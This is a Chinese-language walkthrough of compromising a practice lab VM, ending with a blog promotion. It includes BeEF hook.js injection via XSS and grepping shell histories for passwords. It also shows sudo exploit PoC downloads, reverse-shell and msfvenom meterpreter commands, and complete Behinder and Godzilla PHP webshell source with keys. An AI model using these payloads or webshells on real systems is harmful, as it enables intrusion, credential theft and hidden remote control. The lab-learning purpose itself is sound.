# 默认账密 beef:beef先访问本地测试 http://127.0.0.1:3000/demos/basic.html 看有没有上线

第三步:构造 hook URL
BeEF 的 hook 脚本地址:
http://172.168.169.128:3000/hook.js第四步:想办法把 hook 注入到靶机页面
这里是关键,有几种方式:
方式一 — 如果页面本身有输入框,直接注入:
<script src="http://192.168.45.187:3000/hook.js"></script>
这里开个上帝视角用SHayslett账户查看这个admin112233的主页写的是什么,发现是root的不能改,作罢。
方式二 — 利用 WordPress(12380 上有博客):
1. 用已破解的 WordPress 账号登录后台
2. 在文章/评论/小工具里注入 hook.js
3. 等管理员访问

提示评论等待管理员审核。
方式三 — 这个 /admin112233/ 页面本身已经有 XSS,说明可能有输入点,扫一下:
# 用 nikto 扫 12380
nikto -h https://192.168.201.148:12380 -ssl
# 或者 gobuster 跑目录
gobuster dir -u https://192.168.201.148:12380 -w /usr/share/wordlists/dirb/common.txt -k第五步:受害者触发后 BeEF 控制
这里我假装John(密码是从[[#获得blog博客系统的用户密码]] 爆破的),因为在名单的第一个,目测是管理员来模拟受害者点击xss的效果


不过似乎没用。所以我直接修改admin112233的index.html 来验证。
修改 index.html 注入 BeEF hook
# 这里用的root账户,只是为了验证和模拟,实战的时候要看有没有权限修改
cat > /var/www/https/admin112233/index.html << 'EOF'
<html>
<head>
<title>mwwhahahah</title>
<body>
<noscript>Give yourself a cookie! Javascript didn't run =)</noscript>
<script type="text/javascript">
window.alert("This could of been a BeEF-XSS hook ;)");
</script>
<script src="http://192.168.45.187:3000/hook.js"></script>
</body>
</html>
EOF
模拟受害者访问(在 Kali 浏览器里访问)https://192.168.201.148:12380/admin112233/ 忽略证书警告继续访问,BeEF 控制台就会出现一个上线的 zombie。注意页面是 https 但 hook.js 是 http,浏览器可能会因为混合内容拦截,需要在浏览器地址栏点击允许加载不安全内容,或者把 hook 也改成 https。

如果还是不行就修改浏览器配置,这一步还是模拟受害者浏览器设置的不安全
# Firefox 地址栏输入
about:config
# 搜索
security.mixed_content.block_active_content
# 改为 false
一旦有浏览器访问了含 hook.js 的页面,BeEF 控制台会显示上线的 zombie,然后可以:
Commands 面板可执行:
├── 获取 Cookie(结合 HttpOnly 判断是否可窃取)
├── 键盘记录
├── 截图
├── 探测内网(扫描内网其他主机)
├── 获取浏览器信息、已保存密码
├── 社工弹窗(伪造登录框骗取凭据)
└── 重定向到钓鱼页面
在这个靶机的实际价值:
XSS → 窃取管理员 Cookie
→ 用 Cookie 伪造管理员登录 WordPress 后台
→ 后台上传恶意插件/主题 → webshell
→ 从 www-data 开始提权这是一条完整的 XSS → RCE 链,不需要任何初始凭据。

不过目前因为是靶机,所以就是自娱自乐,攻击者和受害者都是我自己扮演的。
看看是哪个大冤种明文登录ssh
grep -r "sshpass" /home/*/.bash_history 2>/dev/null输出会直接显示文件路径,例如 /home/someuser/.bash_history:sshpass -p ...,路径里的用户名就是泄露者。
也可以更全面地搜:
grep -r "sshpass\|password\|passwd" /home/*/.bash_history 2>/dev/null

就是你 JKanode 啊,哈哈哈哈!.bash_history 已经看完了,还可以翻这些:
# 最近登录记录
last JKanode
# 登录失败记录
lastb JKanode 2>/dev/null
# 最后一次登录时间
lastlog | grep JKanode
# 当前/最近的终端活动
who
w
# 进程历史(如果有审计)
cat /var/log/auth.log | grep JKanode不过从 .bash_history 已经能看出这个用户的问题了 — 把密码直接明文写在命令行里(sshpass -p),这在真实环境里是严重的操作安全失误,密码会永久保存在 history 文件里,并且 ps aux 执行期间其他用户也能看到进程参数里的明文密码。
后面[[#提权root的方法]] 提权后看到的

从 ps aux 里有几个很有意思的发现:
1. root 在跑 nc 监听 666 端口
root 1515 nc -nlvp 666直接连过去可能就是 root shell:
nc 127.0.0.1 6662. root 在跑两个可疑脚本
root 1501 /bin/bash /root/python.sh
root 1503 /bin/bash /usr/local/src/nc.sh如果能读/写这两个脚本就可以提权,看看权限:
ls -al /usr/local/src/nc.sh
cat /usr/local/src/nc.sh
后面[[#666端口发现]]也看了就一个没用的图片
3. JKanode 从没登录过(Never logged in)
但他的家目录在跑 SimpleHTTPServer 8888,说明是 root 以他的身份启动的,这个账户是个”服务账户”,history 里的密码是别人操作留下的。
4. 开放的服务一览
:80— php -S (www用户):8888— python SimpleHTTPServer (JKanode):666— nc root监听 ← 最可疑sshd/vsftpd/smbd/mysql— 常规服务
优先试 666 端口。
666端口发现
针对未知服务的端口,可使用 nc 工具进行探测
nc 172.168.169.129 666
输出乱码,但是可以发现message2.jpg清晰字样
nc 192.168.179.149 666 > message_666
file message_666 //发现是一个zip压缩包
unzip message_666
查看message2.jpg
没什么用,就是出现一个新用户而已。但是后来linpeas审计之后发现配合定时任务是可用的。[[#666端口兔子洞变真洞]]
smb开放的文件夹
smbclient -N //172.168.169.129/tmp
smbclient -N //172.168.169.129/tmp
彩蛋一样的新用户

发现新用户 Barry

又发现一个新的人Abby,这个人没有出现在之前的ssh和ftp用户名之中。


同样新出现的人,还有标题里面的这个 Tim

不小心吃了一嘴狗粮,草
Hello Dolly 是 WordPress 默认自带的彩蛋插件,Matt Mullenweg(WordPress 创始人)亲自写的,每次进后台都会在右上角随机显示一句歌词。

还tm真有
Akismet 插件XSS漏洞
这两个洞都是存储型 XSS,但实际价值有限,分析一下:
37902.php — legacy.php XSS
# 直接运行,目标是 WordPress 评论区注入
php 37902.php 172.168.169.131:12380/blogblog原理是向 /wp-content/plugins/akismet/legacy.php POST 一个含 XSS payload 的请求,payload 会存储在评论里,管理员审核评论时触发。
30036.html — 后台配置页 XSS
这个需要管理员权限才能访问 /wp-admin/plugins.php,直接在浏览器打开这个 html 文件然后提交表单,触发后台 XSS。
实际情况:
# 先确认 legacy.php 是否存在
curl -k https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/legacy.php插件目录返回 403,legacy.php 可能不存在(新版本已移除),这个洞基本没法利用。
对这个靶机意义不大的原因:
你已经有 root,这两个 XSS 的最终目标也不过是窃取管理员 Cookie 然后登录后台,远不如直接用之前的 advanced-video-embed 插件洞(任意文件读取)来得直接,那个洞可以直接读 wp-config.php 拿数据库密码。
继续跑 39646.py 那条路更有价值。
shortcode-ui 和 two-factor 插件没有符合的洞
没有符合的洞可用


搜索框sql注入失败

提权CVE-2021-3156漏洞失败
从linpeas 跑出来的结果中丢AI审计的,malloc(): memory corruption + core dump = 漏洞存在,可以利用:
# 下载 PoC
wget https://codeload.github.com/worawit/CVE-2021-3156/zip/main -O baron.zip
unzip baron.zip
cd CVE-2021-3156-main
# 这个靶机是 i386 架构,选对应版本
python3 exploit_nss.py
glibc 版本太低(Ubuntu 16.04 用的是 2.23),这个 PoC 不适用,换一个不依赖 tcache 的版本:
bash
# 换 blasty 的版本
wget https://codeload.github.com/blasty/CVE-2021-3156/zip/main -O blasty.zip
unzip blasty.zip
cd CVE-2021-3156-main
make运行时需要指定目标系统:
bash
./sudo-hax-me-a-sandwich
# 会列出支持的目标列表,找 Ubuntu 16.04 对应的编号
./sudo-hax-me-a-sandwich 0 # 0换成对应编号
没有对应的预设目标,Ubuntu 16.04 + sudo 1.8.16 不在列表里,手动模式需要精确计算偏移量,比较麻烦。
直接放弃这条路,这台靶机 CVE-2021-3156 实际上打不通,原因:
- glibc 2.23 太旧,tcache 版不行
- blasty 版没有 Ubuntu 16.04 的预设偏移
- 手动计算偏移需要本地调试环境
WebShell 的常用姿势
1. 反弹 Shell(已用过)
cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php2. Webacoo
# 安装
apt install webacoo -y
# 生成加密 webshell
webacoo -g -o shell.php
# 连接
webacoo -t -u https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php特点:流量经过 base64 编码,绕过简单 WAF。
3. Weevely
# 生成
weevely generate hacker123 shell.php
# 连接
weevely https://172.168.169.131:12380/blogblog/wp-content/uploads/shell.php hacker123特点:流量混淆,功能强大,自带文件管理/端口扫描/提权建议等模块。
4. MSF 生成
# 生成 meterpreter 反弹 shell
msfvenom -p php/meterpreter/reverse_tcp \
LHOST=172.168.169.128 LPORT=4444 \
-f raw > shell.php
# MSF 开监听
msfconsole -q -x "use multi/handler; \
set payload php/meterpreter/reverse_tcp; \
set LHOST 172.168.169.128; \
set LPORT 4444; run"特点:拿到 meterpreter session,功能最强,可直接联动后续提权模块。
5. 冰蝎(Behinder)
# 冰蝎生成的 PHP shell 固定模板
cat > shell.php << 'EOF'
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
$t="base64_decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++){
$post[$i]=$post[$i]^$key[$i+1&15];
}
}else{
$post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p){eval($p);}}
@new C($params);
?>
EOF连接时用冰蝎客户端,密钥默认 e45e329feb5d925b,流量 AES 加密,绕过 WAF 能力最强。
6. 哥斯拉(Godzilla)
cat > shell.php << 'EOF'
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c=$K[$i+1&15];
$D[$i]=$D[$i]^$c;
}
return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if(isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if(isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if(stripos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
EOF各工具对比:
| 工具 | 流量特征 | 功能 | 适用场景 |
|---|---|---|---|
| 反弹Shell | 明文 | 基础 | 快速拿shell |
| Weevely | 混淆 | 中等 | 有WAF环境 |
| Webacoo | base64 | 中等 | 简单绕过 |
| MSF | 可加密 | 最强 | 需要后续提权 |
| 冰蝎 | AES加密 | 强 | 企业WAF环境 |
| 哥斯拉 | XOR加密 | 强 | 国内靶场常用 |
踩坑
Nmap网络波动问题漏扫
/var/www/http 网站文件夹下明明有网页的文件

但是网站无论怎么刷新就是没有,拼接了目录也不行,所以我怀疑是nmap扫漏了端口。

重新扫一下就发现了新端口,其中12380就是网页


点开看网页的源代码,对比就是一个,确定12380端口就是/var/www/http 网站文件夹下的网站

总结
入侵路径示意图
flowchart TD
%% 资产列表
A[Kali攻击机]
B[靶机]
C[21端口:FTP泄露用户名]
D[elly的FTP账户]
E[22端口:SHayslettssh账户]
F[peter的高权限账户]
G[root]
H[139端口:smb服务]
I[3306端口:mysql服务/12380端口:phpmyadmin服务]
K[12380端口:Blog博客系统]
L[定时任务]
M[666端口:nc服务]
%% 路径关系
A-->|扫描|B
B-->|FTP匿名用户登录|C
C-->|hydra爆破|D
D-->|ftp下passwd文件泄露用户名hydra爆破|E
E-->|历史命令泄露密码|F
F-->|sudo -s直接提权|G
B-->H-->|smb枚举泄露账户名hydra爆破|E
E-->|浏览www配置文件发现数据库密码|I
I-->|数据库密码john爆破|K
E-->|CVE-2016-4557内核漏洞提权|G
E-->|CVE-2021-4034内核漏洞提权|G
E-->L-->|logrotate写入权限|G
B-->I
B-->K
K -->|advanced-video插件漏洞LFI获取wpconfig<br>无需登录|I
K -->|advanced-video插件漏洞LFI获取passwd<br>无需登录| E
K -->|WP后台上传反弹shell|F
I-->|mysql写入一句话木马|E
E-->|linpeas审计代码发现nc服务的运行逻辑|M
L-->|logrotate修改nc服务逻辑|M-->G
%% 线型:---(实线)、-.->(虚线)、==>(粗箭头)
%% -->|是|:带条件文本的连接
%% 矩形节点[ ],菱形决策节点{ },圆弧方节点()
%% 样式定义
classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px;
classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px;
%% 线型与颜色方案(亮色/暗色通用)
linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0;
%% 应用样式
A:::attack
B:::public
C:::public
K:::public
H:::public
D:::public
E:::internal
F:::internal
G:::internal
I:::public
L:::internal
M:::public

入侵时间表
gantt
title 攻击时间表
dateFormat YYYY-MM-DD HH:mm
axisFormat %m/%d %H:%M
section 侦察阶段
目标扫描 :a1, 2026-03-14 11:11, 2026-03-14 11:30
漏洞识别 :a2, after a1, 2026-03-14 14:37
section 攻击阶段
初始访问 :crit, b1, after a2, 2026-03-14 15:09
权限提升 :milestone, b2, after b1, 2026-03-14 15:13
14号速通靶机后一直在复盘,这个靶机真的是越摸越有,一直盘到16号13点47分
🔔 想要获取更多网络安全与编程技术干货?
关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻
马上加入我们,共同成长!🌟
👉 长按或扫描二维码关注公众号
直接回复文章中的关键词,获取更多技术资料与书单推荐!📚
推荐阅读